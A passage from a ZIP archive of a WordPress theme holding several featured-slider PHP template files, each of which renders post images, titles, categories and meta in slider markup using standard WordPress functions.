                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\U      inc/featured_slider/style-5.phpnu [        <?php
/**
 * Template part for Slider Style 5
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-full-thumb';

	$post_thumb_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$post_thumb_msize ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $post_thumb_msize : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>
        <div class="penci-slider4-overlay">
            <a class="overlay-link"
               aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
               href="<?php the_permalink(); ?>"></a>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\dm  m     inc/featured_slider/style-24.phpnu [        <?php
/**
 * Template part for Slider Style 24
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-thumb-square';

$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 4 == 1 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 4 == 1 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 || $i % 4 == 2 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\Bg      inc/featured_slider/style-1.phpnu [        <?php
/**
 * Template part for Slider Style 1
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-thumb';

$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>

    <div class="item swiper-slide swiper-mark-item">
    	
		<?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size, $image_size_mobile ); ?>"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $image_size ); ?>');"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
		<?php endif; ?>
		</div>
    </div>

	<?php $list_post_ids[] = get_the_ID(); ?>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\0  0     inc/featured_slider/style-40.phpnu [        <?php
/**
 * Template part for Slider Style 40
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}

$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-single-full';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
?>
<div class="slider-40-wrapper">
    <div class="img-blur-container">
        <div class="container-bg-slider-40">
			<?php
			$count = 0;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$ft_class = $count ++ == 0 ? ' current' : '';
				?>
                <div data-index="<?php echo $count;?>" class="item-bg-slider-40 <?php echo $ft_class; ?>">
                    <div class="item-bg-slider-40-content">
						<?php if ( get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                            <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);"
                                 class="picturefill-background fill clip bg-img-slider-40-behind"></div>
						<?php } else { ?>
                            <div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>"
                                 class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip bg-img-slider-40-behind"></div>
						<?php } ?>
                    </div>
                </div>
			<?php endwhile; ?>
        </div>
    </div>
    <div class="container-slider-40">
        <div class="galery-slider-40">
            <div class="slider-creative">
                <div class="nav-slider-slider-40 nav-slider hidden-xs">
                    <button id="prev-hl" class="btn-reset nav-slider-button prev-button waves-effect"><i
                                class="penciicon-left-chevron"></i></button>
                    <button id="next-hl" class="btn-reset nav-slider-button next-button waves-effect"><i
                                class="penciicon-right-chevron"></i></button>
                </div>
                <div class="list-slider-creative">

					<?php while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                        <div class="item-slider-creative">
                            <div class="content-item-creative">
                                <div class="main-slide penci-43-slider-item content-item-creative">
									<?php if ( get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                                        <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);"
                                             class="picturefill-background fill clip img-container"></div>
									<?php } else { ?>
                                        <div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>"
                                             class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip img-container"></div>
									<?php } ?>
                                    <div>
										<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                            <div class="cat featured-cat number-tv small-title-opa"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3 class="title-part white-title"><a
                                                    title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                    href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <div class="feat-meta penci-fslider-fmeta">
												<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
											<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                                <div class="featured-slider-excerpt">
                                                    <p><?php $excerpt = get_the_excerpt();
														echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
											<?php endif; ?>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
					<?php endwhile; ?>
                </div>
            </div>
        </div>
    </div>
    <div class="container-thumb-creative">
        <div class="swiper nav-thumb-creative penci-owl-carousel penci-owl-carousel-slider no-df" data-item="4"
             data-desktop="4" data-loop="false" data-nav="false" data-thumb="yes">
            <div class="swiper-wrapper">
				<?php
				$countz = 0;
				while ( $feat_query->have_posts() ) : $feat_query->the_post();
					$ftz_class = $countz ++ == 0 ? ' current' : '';
					?>
                    <div class="swiper-slide">
                        <div class="swiper-slide-inner">
                            <a data-index="<?php echo $countz; ?>" href="<?php the_permalink() ?>"
                               class="thumb-container<?php echo $ftz_class; ?>">
								<?php if ( get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                                    <span class="penci-image-holder"
                                          style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-masonry-thumb' ); ?>);"></span>
								<?php } else { ?>
                                    <span data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-masonry-thumb' ); ?>"
                                          class="<?php echo penci_classes_slider_lazy(); ?> penci-image-holder"></span>
								<?php } ?>
                            </a>
                        </div>
                    </div>
				<?php endwhile; ?>
            </div>
        </div>
    </div>
</div>PK     N\Z@P
  P
     inc/featured_slider/style-29.phpnu [         <?php
/**
 * Template part for Slider Style 29
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-full-thumb';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$image_size_m ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
        <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\!Jy       inc/featured_slider/style-39.phpnu [        <?php
/**
 * Template part for Slider Style 39
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-full-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();
?>
<div class="penci-slider39-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="5"
     data-direction="vertical" data-desktop="5" data-tablet="3" data-margin="30" data-id="<?php echo $thumb_id; ?>"
     data-thumb="yes" data-height="true" data-loop="true">
    <div class="penci-slider39-thumb-inner swiper-wrapper">
		<?php $thumbcount = 0;
		if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
            <div class="item swiper-slide owl-thumb-item">

                <div class="penci-image-holder"
                     style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                     href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>

            </div>
		<?php endwhile;
			wp_reset_postdata(); endif; ?>
    </div>
</div>
<div class="penci-slider39-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="false" data-loop="true"
     data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>">
    <div class="swiper-wrapper">
		<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
            <div class="item swiper-slide">
                <a class="penci-slider39-overlay" aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                   href="<?php the_permalink(); ?>"></a>
                <div class="item-inner-content">
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

					<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                        <div class="penci-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a href="<?php the_permalink() ?>"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                            <div class="featured-slider-excerpt"><p><?php $excerpt = get_the_excerpt();
													echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
										<?php endif; ?>
                                        <?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                                <div class="penci-featured-slider-button">
                                    <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                </div>
                            </div>
                        </div>
					<?php endif; ?>
                </div>
            </div>
		<?php endwhile;
			wp_reset_postdata(); endif; ?>
    </div>
</div>PK     N\Bg       inc/featured_slider/style-45.phpnu [        <?php
/**
 * Template part for Slider Style 1
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-thumb';

$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>

    <div class="item swiper-slide swiper-mark-item">
    	
		<?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size, $image_size_mobile ); ?>"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
